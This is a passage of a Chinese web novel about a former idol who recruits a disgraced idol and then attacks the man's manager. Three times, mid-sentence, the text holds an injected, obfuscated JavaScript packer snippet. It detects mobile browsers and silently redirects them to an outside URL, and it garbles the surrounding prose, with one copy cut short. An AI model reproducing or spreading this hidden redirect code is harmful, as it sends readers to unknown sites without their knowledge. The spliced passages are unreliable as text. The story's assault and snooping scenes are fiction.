迟曦本就一肚子火，听到这话更是怒火高涨：“大少爷，我给你安贝格年考的邀请函，可没请你又唱又跳的招眼。你昨晚睡着了吗？我可是盯着热搜一宿没睡啊！” 尹灯摸摸鼻尖，回忆自己颇为踏实的一觉。 略有惭愧，但不多。 他听到迟曦的背景音一片嘈杂，多半不在日出所，听着像在开车。 难怪声音这么大，一点不怕被迟暮听到。 为免迟曦一个冲动化身马路杀手，尹灯再一次直抒胸臆：“所以我来报恩咯，江灼飞信发我一下。” “呵呵，报恩。”迟曦阴阳怪气地顿了两秒，“你先保住你自己吧，还真以为我哥没认出你？” 她一宿没睡可不全是为了监测热搜。 迟曦现在还记得，年考镜头切向导师席的一瞬间，都不等露出尹灯的近景，只是一个轮廓，迟暮的表情就变得极其可怖。 他什么都没问，也什么都没说。 但迟曦知道，热搜上迟暮那条诙谐风趣的“莞莞类灯”，实际是顶着一张阴沉得几乎滴水的黑脸发出的。 起码三年没见迟暮这么火大了。 迟暮还没当场劈了她，迟曦相信这全靠血浓于水的亲情。 她也不敢问，她也不敢说。 为了将功折罪，迟曦自觉熬了个大夜，含着泪把自推风光大葬。 然而她没料到，尹灯一点也不意外迟暮的反应： “他本来就知道我没死啊。” 迟曦：“……” 迟曦：“那老娘帮你遮遮掩掩的这些功夫算什么？！” 尹灯忍不住笑了。 迟暮怎么可能不知道他的死活。 当年他跌下升降台，无亲无故，病危通知书都是送到迟暮手上。 但这个明知他一心求死的好友，居然违背了自己的意愿，沉着脸要求医院继续抢救，不计后果捞回尹灯的命。 ——还成功了。 尹灯为此和他闹到断交。 最后一面也是大吵，迟暮摔门而去：“好，姓尹的你了不起！你以为没了你我就成不了事吗？今后你爱死哪儿死哪儿，最好死到深山老林，别求我给你收尸！” 还真是受他点拨。 出院后尹灯立马做了野人，若非系统，现在早该被熊啊虎的吃个干净。 迟曦那头气得骂了半天，奈何骂不痛尹灯，最后说：“江灼昨晚把飞信都注销了，我只有他手机号，你要不要？” “情况有这么严重？” 以尹灯的经验，飞信都注销了，只怕手机也一样打不通。 但是死马当成活马医，尹灯还是要了江灼的手机号。 迟曦这一趟是去接所里艺人，和尹灯对完信息也快到目的地了，两人挂断电话，尹灯便尝试着拨给江灼。 不出所料，听筒里只有冰冷的“已关机”。 “这个人脾气好臭。”陈凡嘀咕，“随随便便就关机，队友都联系不上，人家怎么帮他呢？” 韫玉摇摇头：“或许想害他的比想帮他的要多得多。” “可是尹先生不就想帮他吗！” “尹先生……”韫玉顿了顿。 他想到陈凡和苏雪枝的来历，再想到自己的病情，不禁苦笑，“尹先生太特别了，一般人想不到会有这样的救星。” 陈凡似懂非懂，但听上去是好话，他就跟着点头：“银灯大人就是最特别的！” 尹灯听笑了：“练你的普通话去。” “呜——小雪才说俺、呸，我！现在已经进步很多了嘛！” “那就让韫玉教你练练声、压压腿。” 韫玉应声起立：“好，交给我吧。” 不等陈凡反应过来，韫玉便挂着温柔亲切的笑意，架起他的胳膊，径直拽向了地下层。 十来秒后，陈凡嗷地惨叫直达层顶。 尹灯摇摇头，路漫漫其修远兮，小偶像们差得远哩。 不然他也不会对江灼产生那种欲望——收编的欲望。 毕竟江灼和季连殊多年对抗路，尹灯好歹和季连殊同吃同睡近两年，要说完全不偏心，那是谎话。 但CANDLE太需要一个舞台经验丰富的顶梁柱了。 韫玉身体情况摆在那里，高难度的舞蹈动作必须有一个舞担才行。 可听筒里依然回响着“已关机”的提示。 尹灯叹息一声，好吧。 装死已久的系统却发声了：【宿主宿主，统能根据手机号定位到江灼手机最后一次开机的位置！】 尹灯回过神：“在哪？” 系统得意地一哼，斩钉截铁：【极星会所！】 - 尹灯以前不太看网文，但也听说过“系统”这种设定。 它们时而帮宿主种田、时而帮宿主相亲、时而帮宿主开挂……尹灯也是今天才知道，他的系统虽然没有以上本领，但可以帮他做私生饭。 系统：【禁止统身攻击！】 总之，托他难得起到作用的小统的福，尹灯有了下一个目的地。 极星会所是位于A市中心的一家老牌高档会所。 不同于其他还接纳商界政界名流的会所，据说极星的幕后投资人也在从事娱乐行业，深知艺人对于隐秘性的需求，所以只接待文娱行业的从业人士。 极星会所实行会员制。 所有会员都在注册当天录入指纹，后续就可以通过指纹进入极星。 进入会所后，就是一个个封闭的小包间。 这里也没有服务生和安保，送酒的都是机器人。因此也要求客人保持绝对的礼貌和安静。 和三年前相差无几，无人吧台处，指纹机就在一旁放着，活像打卡上班。 系统有些紧张：【据说极星为了保证隐秘，每三个月就会清一次不活跃的会员数据。宿主你以前是常客吗？】 尹灯想了想：“来过一次，四年零九个月前。” 【……】 【那不是完蛋了吗！】 但当尹灯按了一下拇指，打卡机闪过绿光： “——极星会所欢迎您的光临。” 【………】 系统叫得更大声了，【会所老板也是有品的银灯粉啊！！】 算有品吗？ 谁知道。 迎客机器人滑行而来，屏幕上是笑眯眯的颜文字，弹出了一串房间号，示意尹灯跟着它走。 穿过会所的过道，小机器人领他停在一间空房前。 “等等。”尹灯道，“我前边有朋友来着，可以带我去他的房间吗？” 小机器人：“……” 屏幕上加载一阵，然后弹出了巨大的红叉。 “如有同伴，可以联系同伴出来接应。”小机器人话没说完，另一名机器人也领着新到的客人走了进来。 “诶诶看了没？这回热搜都要挂满24小时了，上边一点动静都没有。” “被抛弃了吧，帝星也受不了他天天跟个炸弹一样啊。” “小牟，你之前不是跟帝星一起训练过？有没有被江灼欺负？” “我是还好，但不知道为什么，他总跟罗经纪人过不去。我倒觉得罗经纪人特别好，很希望分到他的手下……” 极星会所距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437428|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离点梦所和星造所都很接近，所以两家会所的艺人常常来这儿消遣。 进入极星后，大家总是会松弛一点。 所以从一进门，这队客人的声音就传了过来。 听上去，是和江灼同属星造所的三名年轻偶像。 绕过拐角，三人注意到尹灯，议论声戛然而止。 尹灯正后悔自己该躲起来多听几句，就听到一阵机器人的嘀嘀警报。 一时间，会所内的服务机器人立刻分出一列赶向声源。 那是一间走廊深处的包厢，最早进去的机器人一边警告，一边打开了门。 门内轰然倒下一具年轻男性的身体。 火红色的棒球外套垮落在地，露出紧身的无袖内搭。手臂上的线条漂亮利落，既不过分夸张，又充满了成年男性的力量感，间或几道浅淡的旧伤。 随着一声微弱的呻/吟，那人支起半身，朝着银灯和三人望来。 是江灼。 他喝醉了，脸上一片酡红。 包厢里不知发生什么，但尹灯听到酒瓶砸在地上，一阵破碎的响声。酒液甚至流出了门外，映着灯光，浸透了江灼的衣摆。 机器人进进出出，匆忙地收拾残局。 三个偶像顿时吓没了声，唯恐江灼刚才听到了他们的议论。 “我们、我们没有说您！”其中一人着急地说。 另一个人则看向尹灯：“这位先生可以作证的！” 尹灯：“？” 他图啥？ 偏偏江灼醉成那样，好像还真存了一丝理智，闻言把目光都转向了尹灯。 三人不约而同地缩到尹灯背后。 虽然不知道尹灯什么身份，但面对江灼这么气定神闲，肯定胜过他们三个新人。 尹灯一阵无言，问江灼：“你这是喝了多少？” 江灼不理他，趴在地上，漫无目的地摸索。 摸着摸着，他的手就按上了玻璃碎片，嚓地一下，鲜血直流。 机器人的警报更急促了。 尹灯只得对三个小孩使个眼色：“去你们的房间。” “啊……啊？” 尹灯淡道：“别出来乱看。” 三人恍然大悟。 江灼是出了名的要面子，要是醒来知道自己的丑态被这么多人围观，还是同事务所的新人，只怕要羞愤到跳楼。 他们也不想招惹江灼，感激地对银灯点点头，便溜回自己包厢，闭门不出了。 尹灯这才上前搀住江灼的胳膊：“火勺，起床了。” 江灼：“……” 江灼的代表色是暗红。粉丝曾形容他是极盛后的余火。 他的头发也常染成红色，天然卷的发梢看上去的确很像火苗。 尹灯靠近了他，却发现江灼的发根已然全黑，不知多久没有补色。 看上去像火烧完的灰烬，格外萧条。 间接证明了他有多久没有正式出镜，没有登上舞台。 尹灯拍拍他的脸，江灼总算有了反应，一片迷蒙的眼睛望向尹灯：“……谁？” 尹灯才看到酒水里躺着的一副眼镜。 估计就是江灼一直在摸的东西。 他捡起眼镜，戴上江灼的脸。 那张锋利漂亮出了名的脸蛋被眼镜一盖，顿时显得知书达理起来。 江灼眨眨眼，抬头费劲地辨认恩人相貌。 尹灯配合地拉下口罩：“江火勺，我们聊聊……” 然而江灼的脸色遽然一黑，一言未发，就是一拳扑到了尹灯脸上： “轮不到你们FLAME看我笑话！” 尹灯：“？” 神经病！前FLAME早亡啦！！ 15.愿者上钩-4 尹灯一偏头，拳头和他的耳尖相擦而过。 江灼混沌的脑袋又轻又重，迷蒙之中撑开眼睑，却不等再看清尹灯的脸，先听到他带笑的嗓音钻入耳廓： “江火勺，你怎么沦落到这么难看？” 江灼猛地一抖，瞪向尹灯的眼睛充满了血。 尹灯只当没看见，伸手拉了拉江灼的外衣。江灼试图躲开，但醉成烂泥的他怎么可能快过尹灯。 尹灯半蹲着，提起他的衣领向自己拉近。 跪伏在地面的江灼一边扭着身体挣扎，却不得不被尹灯强迫着靠近：“银、灯！我去你大爷……” “嘘。”尹灯的声音又轻又缓，“你跟我龇什么牙，是我要包/养你吗？” “！” 江灼的躁怒一瞬间收敛，取而代之的是一片怔忡和羞愤。 他大概在想，银灯怎么会知道此事。 但很快，江灼就反应过来尹灯话里的戏谑，眼里翻起更加汹涌的怒潮：“所以你来看我笑话？混账，想都别想！” “嘘——” 尹灯重复一遍，笑眯眯说，“你已经给我看了足够的笑话，现在是我奖励你的时候。” “……” “但如果你再在人前叫我‘银灯’，我说不定会考虑收回奖励。” “………” 就像尹灯和系统说的那样，他和江灼没有太多直接的来往。 可是江灼和季连殊太相似了，相似到所有人都理所当然地推定，银灯作为季连殊的队友，肯定对江灼烦不胜烦。 江灼也这么认为。 所以听到“奖励”一词，他的表情变得五彩缤纷，相当复杂。 直到尹灯居高临下拍了拍他的头顶：“走了，跟我回家。” 包厢里遍地都是酒瓶，哪怕机器人已经清理了不少，尹灯还能从这片狼藉里看出江灼惊人的酒量——至少是平时三人份的。 江灼的背包散在一旁，尹灯帮他拎走，又脱了自己的风衣，把江灼的脑袋罩个严实。 接着，他就拽着江灼，头也不回地走出会所。 - 江灼可以赌咒发誓，他绝不是自愿跟尹灯走的。 只是酒喝得太多、会所的空气太闷、街上的雪风太冷……总之，一系列不得已的理由堆叠，才害他不得不跟到了梧桐山。 陈凡打量他的眼睛圆溜溜的，像在观猴。 韫玉则去厨房热了一大桌菜，像在喂猪。 尹灯没说什么，只是劈头盖脸丢来一堆没拆封的洗浴用品，以及一套浴衣。江灼还没转过脑子，就被踹到了浴室。 洗完澡出来，江灼的脑子清醒了一点。 尹灯坐在客厅，听到脚步头也没回，拍了拍沙发一侧。 江灼极度不爽被他指挥，但身上还飘着和尹灯同源的沐浴露味，他绷紧了唇，还是坐到尹灯旁边。 桌上放着醒酒的牛奶米汤，江灼看一眼，眼神微动。 “你……” 两人同时开了口，尹灯挑挑眉：“你先。” 江灼问：“你为什么知道……包/养？” 这个问句耗费了他很大的勇气。 毕竟问出这句话，就意味着变相承认了自己的困境。 但江灼不知道自己想要什么答案。 最大的可能，是尹灯也遭遇过类似的事。 想到这里，江灼的心情反而更沉重了。 银灯曾经站在行业顶尖，难道也逃不过这种骚扰？ 甚至，如果连银灯都是屈服后才取得了成绩…… 不等尹灯回答，江灼又自己接过了话：“算了，这种事太晦气，不聊了。” 尹灯倒很平静：“我可没有你和季连殊那么讨大叔喜欢。” “……”江灼涨红了脸，硬邦邦道，“谁稀罕！” “偶像业本来就烂透了，那种事屡见不鲜，更何况你长得养眼。” 尹灯说着，漫不经心地转笔，“以前骚扰FLMAE的不在少数，只是迟暮在这方面挺有底线，我呢，偶尔款待一下极少数的漏网之鱼，大体还算太平。” 江灼说不出什么情绪。 他现在是关了手机，但平时也没断网。 网友笑他没有季连殊的命，得了季连殊的病，他自己又怎么会不知道。 难道季连殊的实力、颜值、情商真的甩他几条街吗？ 江灼不认。 在他眼里，季连殊就是命好。 FLAME的三个队员一直被银灯保护得密不透风，尤其是季连殊，直到银灯出事，记者追着采访，季连殊居然一拳砸在了摄像机上。 最后一个镜头拍到的季连殊，眼底还是一片无知的清澈。 那么愚蠢、那么冲动，完全看不出媒体就是备好了黑热搜，等着他往里边跳。 江灼越想越烦季连殊，更烦透了那个把季连殊护得严严实实的银灯。 凭什么季连殊就这么好命？ 凭什么他和季连殊年纪相仿，出道时间也差不多，他就得是“平替”？ 凭什么……银灯组建FLAME的时候，被他看到的是季连殊？ “是，没错。我揍罗蒙就是因为他想让我做那种事。” 江灼自暴自弃地冷笑，“但那也是我自己蠢，活该踩到星造的坑。” “还好吧。”尹灯道，“如果当年给我钱的是星造，就算包/养我也无所谓，只是恰好我跟的是迟暮，迟暮不搞这套而已。” “……哈？” “所以你还坚持反抗到现在，真是非常了不起。” “………” 这些话如果放到网上，#银灯愿意被包/养#的词条绝对能成为年度热搜。 看着尹灯平静得好像在说晚饭吃什么的表情，江灼感觉自己对银灯“三好队长”的刻板印象有了一丝松动。 尹灯还在补充：“如果赚得多，我还可以跟队友抢金主哦。” 江灼：“够了。” 再听下去，他要怀疑银灯解约是嫌点梦所耽误他发财了。 “那么你的问题就算回答完了。”尹灯道，“接下来是我的问题，签合同你习惯用按动笔还是直液笔？” 一边问，尹灯一边取出了CANDLE的经纪合同。 别着两支黑笔。 江灼：“？” 尹灯一脸大度：“都可以选，签完送你。” 江灼：“……” 他被逗乐了，“我什么时候说要转所了？” 尹灯佯装惊讶：“不想转吗？那星造到现在还不帮你压热搜，要不要我帮你告他们？” 江灼磨了磨牙：“既然知道我现在一屁股麻烦，你为什么还和我签？” “为什么不和你签？”尹灯反问，“我说过要给你奖励。” “免了，奖励季连殊吧。” “季连殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444975|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不是你，你们完全不一样。” 江灼的背影一瞬间僵住了。 这句话前所未有，偏偏还出自和季连殊最亲近的人的嘴里。 尹灯道：“小赢虽然也是舞担，但骨架偏小，还不爱运动，他的身板比你要薄，性格也更娇气。我不知道别人怎么想，反正我没觉得你们像。” 不过三年前，江灼和季连殊的确很像。 那时的两人都是少年体型，在舞台上张力拉满，舞台下桀骜不驯。三分相似的五官，七分接近的性情，就足够以假乱真。 但现在不是了。 江灼的增肌很有成效，他的个子也超过了一米八。 而且季连殊被媒体誉为“太阳”，因为他是由内而外的炽热。江灼却绝对没有季连殊的明媚，他的底色根本就是阴暗晦涩的怨怼。 再把两人等同，对江灼、对季连殊，都不公平。 “……”江灼嗤笑，“就算我答应转所，你能帮我压下热搜？” 迟暮是铁了心要把他踩死。 就算这次热度不至于让他退圈，再加上星造所的施压，各类通告也绝对不会再考虑他。 江灼的背包里还放着星造所的合同。 那些势利又傲慢的嘴脸犹在眼前。 合同里的分成被压到极致，甚至不如他第一次出道，此外还加上了无数的不平等条款，一旦签下，江灼不敢想象自己将堕入何等的深渊。 可是不签……他又要怎么办？ 江灼垂着眼，终于，拿过了CANDLE的合同。 尹灯欣慰至极。 他通宵写的合同，终于有一个人认真翻到了权利义务的部分。 而且看表情，江灼还算满意他多给的一成分成。 “试试呗。”尹灯说，“压下去你再考虑，压不下去我就不烦你了。” 江灼没说话。 他安静翻到了最后一页：“我还有一个问题。” “说。” “……三年前，你遇到了什么事？” 尹灯挂了一整天的笑容纹丝不动。 江灼甚至怀疑时间被静止了，因为尹灯就在他眼前，沉默了足足三分钟。 他意识到自己问错话了。 但尹灯张开嘴：“免费给CANDLE打工，给你讲我的复仇大计。” 江灼：“……” 江灼：“………” 他就多余担心这家伙。 “压下热搜，我可以考虑加入CANDlE。” 顿了顿，江灼补充，“公关费用的支出可以从我今后的薪水里扣。” 尹灯打一个响指：“妥了。” 然后他就在江灼的注视下拨出一串号码。 听筒里传来短暂的“嘟”声，很快，有人接听了电话，是一记温润的男声：“喂，您是？” 不愧是银灯，果然有他的手段。 江灼微微放心，端起了醒酒汤大喝一口。 下一秒，他的眉峰便猛地攒起。 牛奶米汤……为什么……还加了姜？ 尹灯则对电话那边说：“宋先生吗？我是尹阳。” “星造所的江灼正在我这儿，我劝了一天他终于答应去当鸭了。你能帮忙攒个局，劝劝罗蒙抓紧介绍两个金主过来吗？” 江灼：“噗——” 尹灯捂住话筒，一本正经：“韫玉做的汤，跟我可没关系。” 16.愿者上钩-5 宋非泽沉默了至少十秒。 主要因为“尹阳”的口吻，稀松平常，仿佛两人本就是关系亲密的好哥俩。 十秒里，宋非泽有七秒都在扪心自问： “——我们熟吗？” 但不等他问出口，“尹阳”拖长了尾音驾轻就熟地撒娇： “总之，这件事就拜托宋先生了，今晚六点，白沙区太平饭店，辛苦您啦。” 宋非泽：“等等。” 作为资深经纪人，他不会因为张学贺的佐证就放弃对“尹阳”的顾虑。 就在热搜榜上腥风血雨之际，宋非泽早就交代了专业人员去调查“尹阳”。 而且截至现在，他也并非毫无线索。 通过违规技术手段强行恢复安贝格的学生管理后台后，他们的确查到了几名尹姓学生的入学记录。 相比其他，其中一人在后续记载里完全没有出现。 TA的存在好像被人刻意抹消，生日、性别、经历、出身都不得而知，足以看出此人背后巨大的能量。 宋非泽推测，这人就是“尹阳”。 连同“尹阳”提到的太平饭店。 那也是A市炙手可热的地点，往来都是名流，除非位高权重，预订座位至少提前一个月——“尹阳”却能当天就敲定太平饭店的座位。 宋非泽不得不谨慎。 除了“尹阳”，他也调查了银灯。 点梦所很确定银灯没有死，但也确定银灯进过ICU，情况非常糟糕。 当时医生给出最乐观的估计，是他能复健到生活自理就不容易，重回舞台是绝对、绝对、绝对不可能实现的事。 宋非泽深感遗憾，但不得不承认： “尹阳”可能真的不是银灯。 银灯如果有“尹阳”这么豪横的背景，点梦所不会一无所知。 宋非泽道：“我没记错的话，迟暮也算公开维护了尹先生，您不应该站在日出所那边吗？” 明眼人都看得出迟暮在保护“尹阳”的身份。 结果“尹阳”居然出面调和江灼和星造所的关系？ “好尖锐。” 听筒那边，“尹阳”轻轻笑说，“但是，我既不支持日出所，也不赞成星造所，难道宋先生不是更喜欢？” 宋非泽挑了挑眉。 这话说得很有意思，颇有点看热闹不嫌事大，邀请他一起把水搅得更浑的意思。 说实话，宋非泽一点也不想卷进日出所和星造所的纠纷。 可是这个“尹阳”实在太神秘了。 害他欲罢不能。 而且，如果能进一步激化日出所和星造所的矛盾，还能了解到“尹阳”和迟暮究竟什么关系…… 点梦所就这么坐收渔翁之利，也未尝不是一件好事。 宋非泽考虑一会儿：“那么，宋某还有最后一个条件。” “请讲。” “加个飞信。”宋非泽道，“这次不会拒绝我了吧？” - 尹灯挂了电话，看向一旁的江灼。 此人的表情五颜六色，相当精彩。 应该不全因为韫玉独创的姜味牛奶米汤，因为他瞪着自己的眼神非常灼热。 “这个时间你上哪订太平饭店的座？” “谁说我要订。”尹灯反问，“罗蒙也配吃我的软饭？” “混蛋。”江灼直抒胸臆地点评。 造谣自己要当鸭就算了，全程旁观的他可是看完了尹灯“勾引”宋非泽时的表现。 话里柔情似水，面上冰冷如铁。 结果连请吃饭都是假话。 偏偏以冷静理智出名的宋非泽，就这么咬钩了。 尹灯扬了扬眉，不搭理他，先给宋非泽弹去一条飞信的好友申请。 吸取陈凡的建议，他已经把原名“灯”的昵称换掉了。 现在他叫“滴蜡鸭王”。 不出意料，宋非泽通过后发来了一串无言的省略号。 但是社畜在工作时是不带情绪的。 所以省略号后，宋非泽就弹来江灼的经纪人，罗蒙的飞信名片。 滴蜡鸭王：[什么意思，晚上宋先生不来吗（可怜）] 宋非泽：[江灼和罗蒙的谈判，局外人不便参与吧。] 滴蜡鸭王：[喔。。。] 宋非泽：[什么意思？] 滴蜡鸭王：[局外的我在孤独地吐泡泡。。。] 宋非泽那边又是十分钟的沉默。 然后弹出回复：[我去。] 尹灯满意地收起手机。 就在江灼以为他会拉着自己一起杀去太平饭店的时候，尹灯独自回了二楼卧室。 几分钟后，从卧房出来的人换上了一身黑色亮皮机车服。 江灼：“？” 尹灯推了推脸上墨镜，深沉道：“像不像鸭王？” 江灼：“……” 他真的要怀疑银灯在FLAME期间也存在什么见不得人的兼职了。 “你就睡吧。”尹灯看了眼手机时间，“睡12个小时。” “然后呢？” “然后把合同签了。”尹灯走下楼，不知从哪抱了只黑色的机车头盔出来。 手上也戴了不锈钢的机车手套。 看上去准备出门。 江灼不禁皱紧了眉，起身试图拉住尹灯。 但他确实也是强撑，醉得厉害的脑袋疼痛欲裂，好不容易扒上尹灯的肩膀，就被尹灯用一根手指轻飘飘地拨开。 “韫玉——”尹灯招呼。 韫玉立刻从地下层的训练室赶来。 “麻烦你把他带去睡觉。”尹灯说，“睡沙发，别碰床。” 江灼：“你大爷的……呕——” 尹灯轻啧一声：“睡花园。” 说罢，他便拂开了江灼和自己全部的接触。 转过头，尹灯一人出了门，挥挥手，作为和韫玉最后的道别。 韫玉搀扶着江灼：“江前辈，我带您去休息。” “你先拉住他！”江灼急道，“罗蒙没这么好摆平，你……” 韫玉充耳不闻，挟着他往沙发边上挪。 韫玉看着瘦，力气却大得惊人，尤其是专注于力量抗衡的时候。 江灼挣不开他的桎梏，不由得更急：“你这么听他的话做什么？是真给银灯当狗了不成！” 这种话，换做是他自己一定炸了。 但韫玉拽着江灼，长发垂下，轻轻搔过他的脸。 刘海后的浅色眼睛看不出任何情绪，韫玉平静得完全不像受过挑衅，只有浅淡的无奈：“就因为您是这种可爱的性格，尹先生才总忍不住捉弄您。” “……” 陈凡也从楼梯间钻出脑袋：“在老家，不听话的孩子是要打屁股的！” 江灼：“………” 这个所谓的CANDLE根本就是变态集聚地吧？！ 他要反悔，谁会想跟这群精神病沆瀣一气啊！！ - 面对宋非泽的邀约，罗蒙自然没有拒绝的道理。 更何况对方的立场是帮星造所和江灼说和。 白沙区作为A市最繁华的城区之一，下班时间更是车水马龙、水泄不通。罗蒙在太平饭店附近的CBD停了车，宋非泽就在不远的路口等待。 “非泽，我这回可完全是看你的面子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462917|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 罗蒙冷哼着，看了眼腕表。 五点五十七分，他得拖几分钟再去，以免江灼分不清主子奴才。 宋非泽自己不用开车。 他是出于朋友邀请和个人兴趣才做经纪人，家族里都是政界人士，出行也有司机。现在往树下一站，罗蒙靠近了他，无论气势还是身高，都明显矮一截。 宋非泽看着手机，眼神都没给他一下。 只是淡淡嗯了一声。 罗蒙不禁磨牙。 其实江灼的事，虽说突然，但实际挨揍的受害者是他。 只要他说原谅，迟暮再扑腾也出不了太大水花。况且星造所早就备好了公关方案，只待江灼签下续约的合同，迟暮的折腾就是白送的热度。 但谁都没想到，江灼无依无靠的一个浑小子，居然能惊动宋非泽出面斡旋。 哪怕宋非泽效力于点梦所，如果能和宋非泽本人交好关系，对罗蒙而言绝对是意外之喜。 ……不过，这个宋非泽真是无论台上台下，都这么臭屁得令人恶心。 宋非泽终于放下手机：“走吧，他们快到了。” “尹阳”刚刚说已经到了几百米外的路口，只差停车。 罗蒙问：“他们？” 宋非泽道：“江灼，和我的一个……” 他皱皱眉，似乎在措辞，但还是说，“朋友。” 罗蒙恍然大悟，露出了然于心的神色：“原来是这样。” 他就说，江灼连星造所的人际都一塌糊涂，怎么可能攀上宋非泽的关系。 果然还有人在中间牵线搭桥。 但如果是什么很有名的经纪人，或者商界、政界的名人，宋非泽应该直接介绍对方的名字和来历。 现在却只用“朋友”一词含糊。 ——谁知道那是从哪结识的“朋友”。 罗蒙的笑容越来越深，对宋非泽点点下巴：“那位‘朋友’一定是个妙人。” 宋非泽听懂了他的言外之意，拧住眉心，不动声色和罗蒙拉开半步距离。 两人一前一后走近太平饭店，侍童殷勤地上前：“二位先生晚上好，请问有预约吗？” 宋非泽道：“姓尹。” “尹……？”侍童的表情茫然了瞬间。 他不记得今天有姓尹的预约，但出于谨慎，还是转头和同事仔细核对。 片刻，侍童回复：“抱歉先生，我们没有查询到相关预约。” 宋非泽一怔：“那……姓江的呢？” “也没有。” 同时，手机震了震。 滴蜡鸭王：[我迷路啦（可怜）] 滴蜡鸭王：[录个视频给我看看附近的路况好吗？] “……稍等，我和朋友确认一下。”宋非泽深吸一口气，无可奈何地打开摄像头。 摄像头完美扫过了附近每个角度，但在宋非泽准备结束录像的时候，一声耳熟的轻笑传来：“没错，录清楚了。” 话音刚落，一道黑影不知从哪个角落扑出。 一记用不锈钢手套完美武/装的拳头就这么砸上罗蒙的脸。 罗蒙猛地撞上了太平饭店的玻璃门，周围候场区的座椅一片仰倒，尽是客人的惊呼。 宋非泽睁大了眼，几乎是本能，镜头摄向了罗蒙和袭击者的方向。 一身漆黑的青年戴着机车头盔，根本看不出身份。 但宋非泽瞬间了悟—— 是“尹阳”。 他甚至不确定是不是自己眼花。 在狂揍罗蒙的间隙，“尹阳”还抽出半秒，回头冲他和镜头比了个耶。 宋非泽：“……” 他多希望那是眼花。 17.愿者上钩-6 #太平饭店罗蒙二度被袭击# #Royal Star经纪人重伤入院# #宋非泽出现在袭击现场# …… 繁华的白沙区最不缺看客，更何况受害者同时还是江灼事件的另一个当事人。 就这样，尹灯袭击罗蒙的视频很快席卷网络。 不同路人、不同视角，唯一相同的只有鼻青脸肿的罗蒙，和速战速决后骑车离去的神秘机车男。 [“看呆了，这是江灼粉还是模仿犯？”] [“罗蒙是犯天条了吗？一个月不到被揍两次？”] [“围观的宋经纪人：打了他就不准打我了嗷”] [“话又说回来，这次动手的风格不像一般人啊，像专业的”] [“啥模仿犯啊，技巧和力度明显跟江灼不是一个水平，这位打的部位都是那种又痛又不容易赔钱的”] [“主要动作很利落，戴着头盔也能看出很帅（口水）”] [“楼上没事吧？对暴力犯发花痴？？”] [“因为挨打一次还能说江灼惯犯，挨打两次会不会罗蒙也有问题？”] [“受害者有罪论，6，江灼粉偷偷洗白中”] [“所以没有人拍到他骑的机车牌照吗？到底谁啊，光天化日打人还是太过分了”] [“倒不是没拍到，只是……”] [“在现场，他骑的共享电动车（微笑）”] [“……”] - 除了热闹的网友，距离太平饭店最近的一家派出所也有点坐不住了。 因为那辆被当作逃逸工具的共享电动车，刚才就停在派出所门口。 现在由某警察帮忙骑回共享车停车点了。 “尹先生，你的朋友带着律师到了。” 揍完罗蒙十分钟后，尹灯就骑着车过来自首。 而且他毫不客气地往派出所一坐，摘下头盔，笑容明媚：“现在可以联系我的律师啦。” 众警察：“……” 现在，他口中的“律师”来了。 但很明显，掏钱的雇主不是尹灯，而是旁边那个黑着脸西装革履的男人。 ——迟暮。 天色擦黑，刚过八点，迟暮的车停在派出所外。 在互联网上出名高调的他，今天开的居然是一辆普通款的宝马。 众人皆知，这是有意帮尹灯瞒住风声。 高律师递来一堆证据，义正词严： “综上所述，对方当事人经过医院检查，神智清醒，没有重伤情况，并且自愿放弃追究尹先生的责任。联系救护车、护送对方当事人前往医院的证人宋非泽也已承认，他与尹先生系朋友关系，帮助对方当事人是尹先生的嘱托，可证，尹先生主观上是有弥补过失意愿的，再加上自首情节，于情于理都应从轻从宽处理。” “现在，请警方依流程配合处理，尽早安排尹先生和我们见面。” 作为日出所法务部门资历最深厚、经验最丰富的律师，被召唤来处理这么轻微的一个小小案件…… 高律师一点不敢懈怠。 长了眼的都能看到大老板黑得滴水的脸，他怎么敢在迟暮眼皮底下糊弄！ 明智之举，当然是在限时两小时内完成全部取证，坐着宝马车一路风驰电掣杀到派出所提人。 “既然双方都达成协议，那当然不用拘留。尹先生马上就到。” 话音未落，两名年轻警察就领着尹灯来到大厅。 尹灯抱着头盔，眼角泛泪，意犹未尽地打哈欠：“怎么来这么早，我刚睡着。” 高律师听到大老板的拳头“喀吧”了一下。 警察：“麻烦尹先生在笔录这里再签个名，近期不要离开A市，有情况我们会再和你联系……” 尹灯刚想点头，手腕已被人牢牢握住。 极重的力道锢得他微微皱眉，但不及开口，迟暮拽着他大步流星出了派出所。 车门一开，迟暮把人甩进后车厢，随后坐到了副驾驶。 众警察一片愕然，高律师急忙斡旋：“剩下的手续就由我来办吧。” 这种时候他可不敢回车里打扰震怒的老板。 